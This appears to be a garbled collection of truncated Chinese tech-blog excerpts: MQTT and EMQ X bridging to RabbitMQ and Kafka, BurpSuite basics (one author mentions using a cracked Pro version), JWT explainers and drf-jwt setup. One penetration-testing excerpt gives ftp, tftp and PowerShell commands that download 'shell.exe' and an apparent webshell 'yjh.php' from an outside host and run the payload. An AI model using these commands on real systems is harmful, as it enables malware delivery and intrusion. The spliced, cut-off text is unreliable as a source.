payload

场景介绍 该场景需要将 EMQ X 指定主题下且满足条件的消息存储到 RabbitMQ。 RabbitMQ 是一个由 Erlang 开发的 AMQP 消息中间件的开源实现，主要用于组件之间的解耦，消息的发送者无需知道消息使用者的存在，反之亦然。RabbitMQ 用于在分布式系统中存储转发消息，在易用性、吞吐量、扩展性、高可用性等方面表现不俗。EMQ X 百万级消息吞吐的场景下，RabbitMQ 是最佳的持久化/桥接方案之一。 该场景下设备端上报信息如下： 上报主题：cmd/state/:id，主题中 id 代表车辆客户端识别码 消息体： { "id": "NXP-058659730253-963945118132721-22", // 客户端识别码 "speed": 32.12, // 车辆速度 "direction": 198.33212, // 行驶方向 "tachometer": 3211, // 发动机转速，数值大于 8000 时才需存储 "dynamical": 8.93, // 瞬时油耗 "location": { // GPS 经纬度数据 "lng": 116.296011, "lat": 40.005091 }, "ts": 1563268202 // 上报时间 } 当上报数据发动机转速数值大于 8000 时，存储当前信息以便后续分析用户车辆使用情况。 准备工作

EMQ X 3.2 版本引入了 “规则引擎” 功能，支持在 EMQ X Broker 筛选终端上报的数据，处理后流至后端数据库或其他的消息队列。本篇以具体场景来说明 “如何使用规则引擎将消息转发至 Kafka” 场景介绍 该场景需要将 EMQ X 指定主题下且满足条件的消息桥接到 Kafka 。为了便于后续分析检索，消息内容需要进行拆分。 该场景下设备端上报信息如下： 上报主题：cmd/state/:id，主题中 id 代表车辆客户端识别码 消息体： { "id": "NXP-058659730253-963945118132721-22", // 客户端识别码 "speed": 32.12, // 车辆速度 "direction": 198.33212, // 行驶方向 "tachometer": 3211, // 发动机转速，数值大于 8000 时才需存储 "dynamical": 8.93, // 瞬时油耗 "location": { // GPS 经纬度数据 "lng": 116.296011, "lat": 40.005091 }, "ts": 1563268202 // 上报时间 } 当上报数据发动机转速数值大于 8000 时，存储当前信息以便后续分析用户车辆使用情况。 准备工作 创建Kafka主题 ./bin/kafka-topics.sh --create -

MQTT 5.0 协议相比 MQTT 3.1.1 增加了很多属性，这些属性分布于报文的可变头部 ( Variable Header ) 和有效载荷 ( Payload ) 中。 MQTT 5.0 协议中携带有效载荷的报文有 CONNECT 报文，PUBLISH 报文，SUBSCRIBE 报文，SUBACK 报文，UNSUBSCRIBE 报文和 UNSUBACK 报文。 PUBLISH 报文的有效载荷负责存储消息内容，与 MQTT 3.1.1 协议相同。 CONNECT 报文 CONNECT 报文的可变头部新增的属性有: 在 CONNECT 报文的 Payload 中，部分字段发生了变化，遗嘱消息（Will Message）变成了遗嘱载荷（Will Payload）。Payload 中新增了遗嘱属性（Will Properties），用于定义遗嘱消息的行为。 新增的遗嘱属性有: CONNACK 报文 CONNACK 报文没有 Payload，在可变头部中包含的属性有： PUBLISH 报文 PUBLISH 报文可变头部的属性有： PUBACK, PUBREC, PUBREL, PUBCOMP, SUBACK, UNSUBACK 报文 PUBACK, PUBREC, PUBREL, PUBCOMP, SUBACK, UNSUBACK 都具备以下三个属性： SUBSCRIBE 报文

BurpSuite简介 BurpSuite是进行Web应用安全测试集成平台。它将各种安全工具无缝地融合在一起，以支持整个测试过程中，从最初的映射和应用程序的攻击面分析，到发现和利用安全漏洞。Burpsuite结合先进的手工技术与先进的自动化，使你的工作更快，更有效，更有趣。在 安全人员常用工具表 中， burpsuite排在第13位，且排名在不断上升，由此可见它在安全人员手中的重要性。Burpsuite的模块几乎包含整个安全测试过程，从最初对目标程序的信息采集，到漏洞扫描及其利用，多模块间高融合的配合，使得安全测试的过程更加高效。 软件版本 本文中使用的软件版本为 Burp Suite Professional v2.0.11beta ,1.6版本中有Spider模块，2.0版本中未找到，故不做介绍。 主要模块 介绍 Burp Suite中的主要模块，如下： Dashboard(仪表盘)——显示任务、实践日志等。 Target(目标)——显示目标目录结构的的一个功能。 Proxy(代理)——拦截HTTP/S的代理服务器，作为一个在浏览器和目标应用程序之间的中间人，允许你拦截，查看，修改在两个方向上的原始数据流。 Intruder(入侵)——一个定制的高度可配置的工具，对web应用程序进行自动化攻击，如：枚举标识符，收集有用的数据，以及使用fuzzing 技术探测常规漏洞。

1. JSON Web Token是什么 JSON Web Token (JWT)是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。 2. 什么时候你应该用JSON Web Tokens 下列场景中使用JSON Web Token是很有用的： Authorization (授权) : 这是使用JWT的最常见场景。一旦用户登录，后续每个请求都将包含JWT，允许用户访问该令牌允许的路由、服务和资源。单点登录是现在广泛使用的JWT的一个特性，因为它的开销很小，并且可以轻松地跨域使用。 Information Exchange (信息交换) : 对于安全的在各方之间传输信息而言，JSON Web Tokens无疑是一种很好的方式。因为JWTs可以被签名，例如，用公钥/私钥对，你可以确定发送人就是它们所说的那个人。另外，由于签名是使用头和有效负载计算的，您还可以验证内容没有被篡改。 3. JSON Web Token的结构是什么样的 JSON Web Token由三部分组成，它们之间用圆点(.)连接。这三部分分别是： Header Payload Signature 因此，一个典型的JWT看起来是这个样子的： xxxxx.yyyyy.zzzzz 接下来，具体看一下每一部分：

什么是JWT J son web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准（(RFC 7519).该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录（SSO）场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的其它业务逻辑所必须的声明信息，该token也可直接被用于认证，也可被加密。 在用户注册或登录后，我们想记录用户的登录状态，或者为用户创建身份认证的凭证。我们不再使用Session认证机制，而使用Json Web Token认证机制。 传统的session认证 我们知道，http协议本身是一种无状态的协议，而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证，那么下一次请求时，用户还要再一次进行用户认证才行，因为根据http协议，我们并不能知道是哪个用户发出的请求，所以为了让我们的应用能识别是哪个用户发出的请求，我们只能在服务器存储一份用户登录的信息，这份登录信息会在响应时传递给浏览器，告诉其保存为cookie,以便下次请求时发送给我们的应用，这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。 但是这种基于session的认证使应用本身很难得到扩展，随着不同客户端用户的增加

上周吧，将公司的短信及邮箱服务测试了一遍，就学习了Burpsuite的Intruder。（自学成才，还好网上有资料，入手还是挺简单的） 网上资料：https://www.gitbook.com/book/t0data/burpsuite/details 我用的是免安装的破解版，版本是burpsuite_pro_v1.7.13.jar；使用Burpsuite的前提就是大家的JDK有安装，且环境变量配置的对的。各位自己看资料吧。 下面是我记录的一个测试邮件的案例： 我电脑是win10系统 1. 打开我们的Burp。 2. 我使用的是IE（或者是win10自带的Edge），所以打开IE，设置代理。 3. 基本代理都这样，HTTPS的都要装个证书：比如Fiddler、Charles等。 URL输入：http://burp 选择证书安装即可。 （如果输入地址提示“代理服务器有问题”，啊哈，请检查你的代理，将“请勿将代理服务器用于本地地址”的√去掉，这个是不能勾的。） 4. 调节Burp，准备好设置，我这里就是Proxy-Options的设置，比如下图 等。 5. Proxy-Intercept拦截 如果你只是测试一个接口，不需要到程序的某个点的，就直接测试。但是，如果你需要使用cookie等内容，需要走功能流程，那么在走流程的时候，需将拦截关掉，如下图 当到了你要测试的点的时候，再将它修改为

文件传输的常用方式：http、wget、ftp、tftp、powershell ... apt-get install python-pyftpdlib python -m pyftpdlib -p 22 ftp 127.0.0.1 用户名:anonymous 密码为空 服务端我们可以看到连接信息 通过get 将文件下载到客户端 使用ftp下载payload echo 导出的命令 open 192.168.88.174 anonymous binary get shell.exe bye ftp -s:ftp.txt -s 参数 读取 包含ftp 命令的文件 执行命令 payload 成功 下载 到本地 msf use auxiliary/server/ftp tftp atftpd --daemon --port 69 /root tftp 在 win xp 和 2003 上是可以使用的 客户端 tftp -i 192.168.88.174 get shell.exe powershell echo $storage = $pwd > get.ps1 echo $webclient = New-Object System.Net.Webclient >> get.ps1 echo $url = "http://192.168.88.174/yjh.php" >> get.ps1

drf-jwt 官网 http://getblimp.github.io/django-rest-framework-jwt/ 安装子：虚拟环境 pip install djangorestframework-jwt 使用：user/urls.py from django.urls import path from rest_framework_jwt.views import obtain_jwt_token urlpatterns = [ path('login/', obtain_jwt_token), ] 测试接口：post请求 """ postman发生post请求 接口：http://api.luffy.cn:8000/user/login/ 数据： { "username":"admin", "password":"admin" } """ 自定义jwt登录(手动签发jwt) 1、View.py中定义一个类 from rest_framework.views import APIView from rest_framework_jwt.serializers import jwt_payload_handler from rest_framework_jwt.serializers import jwt_encode_handler from django